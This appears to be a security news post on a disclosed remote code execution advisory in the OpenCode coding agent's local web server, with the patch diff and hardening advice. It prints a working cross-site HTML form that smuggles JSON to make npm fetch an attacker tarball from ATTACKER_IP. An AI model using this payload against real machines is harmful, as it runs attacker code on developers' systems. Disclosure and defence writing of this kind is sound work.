On September 24, 2026, Datadog Security Labs published GHSA-632h-h47v-g4x4, a remote code execution bug in OpenCode, the open-source coding agent from Anomaly. Datadog researcher Christophe Tafani-Dereeper wrote it up, and the team found the bug on August 11. Anomaly shipped the fix in OpenCode 1.18.22 on August 24 and asked Datadog to hold the write-up for a month. The advisory went public the same day as the post.
If you run opencode serve or opencode web, check your version today.
Who is exposed
| Condition | Detail |
|---|---|
| Version | OpenCode 1.14.30 through 1.18.21 |
| Server running | opencode serve or opencode web, with no password or with browser-cached credentials |
| Install method | npm, pnpm or Bun |
You can check the last two from a terminal:
# shows how opencode got onto this machine
ls -l "$(command -v opencode)"
# installed version, for an npm global install
npm ls -g opencode-ai
Datadog counted 82 vulnerable versions with more than 647,000 downloads between September 17 and 23, which was 38.9% of OpenCode downloads that week. Datadog points out that downloads don't tell you how many machines run opencode serve or opencode web. The exposure is still wide for a tool that, by its own count, has 16 million users a month.
Two small bugs, one exploit
The web server listens on 127.0.0.1:4096 and needs no authentication unless you set OPENCODE_SERVER_PASSWORD. It exposes POST /global/upgrade, which takes a target version and hands it to your package manager:
case "npm":
upgradeResult = yield* run(["npm", "install", "-g", `opencode-ai@${target}`])
break
npm accepts a tarball URL after the @ as well as a version, so a target of http://attacker/opencode-malicious.tgz makes npm fetch the attacker's package and run its preinstall script. That's the code injection.
The second bug made it reachable from a browser. A fetch() with Content-Type: application/json from another origin triggers a CORS preflight, and OpenCode's server didn't allow foreign origins, so the browser blocked it. An HTML form skips the preflight. Forms can't send JSON, but they can send text/plain, and the browser writes the field name, an =, and the value without encoding either one. The handler parsed any body as JSON without looking at Content-Type:
<form method="POST" enctype="text/plain" action="http://127.0.0.1:4096/global/upgrade">
<input type="hidden"
name='{"target":"http://ATTACKER_IP/opencode-malicious.tgz","x":"'
value='"}'>
</form>
<script>document.forms[0].submit()</script>
The browser sends a body that parses as valid JSON, with the = tucked inside a throwaway x field. Visit the page with a vulnerable server running, and the attacker's script runs as you.
The fix
Anomaly's patch closes both holes. The schema now accepts a semantic version and nothing else:
- export const GlobalUpgradeInput = Schema.Struct({
- target: Schema.optional(Schema.String),
- })
+ export const GlobalUpgradeInput = Schema.Struct({
+ target: Schema.String.check(
+ Schema.makeFilter((value) => (semver.valid(value) === null ? "Expected a semantic version" : undefined)),
+ ),
+ })
The route also switched from Effect's handleRaw to handle, which decodes the body according to its Content-Type. Version 1.18.22 answers the same form with 415 Unsupported Media Type.
Anomaly chose not to request a CVE, so scanners that match on CVE IDs won't flag this. Search for the GHSA ID instead.
Your own localhost servers
The same pattern turns up in plenty of developer tools that start a local HTTP server: a dashboard, a docs preview, an agent UI. If you build one, the OpenCode bug gives you a short checklist.
- Reject request bodies whose
Content-Typedoesn't match what you parse. A JSON endpoint should refusetext/plain. - Validate anything that reaches a shell or a package manager against a strict format, such as a semver string, before you pass it on.
- Require a token or password by default, even on
127.0.0.1. Any page the user opens can reach loopback through a form. - Check the
Originheader on state-changing routes and refuse origins you don't serve.
This week
Apr 30, 2026
OpenCode 1.14.30, the first vulnerable release.Aug 11, 2026
Datadog reports the bug through GitHub Security Advisories.Aug 24, 2026
OpenCode 1.18.22 ships the fix.Sep 24, 2026
Public write-up and advisory.
Upgrade to 1.18.22 or later, then restart any opencode serve process you left running, since an old server keeps serving the old code. Set OPENCODE_SERVER_PASSWORD whenever you start the web UI. If you manage developer machines, add opencode-ai versions below 1.18.22 to whatever inventory check you run for global npm packages.
Volodymyr Chornous

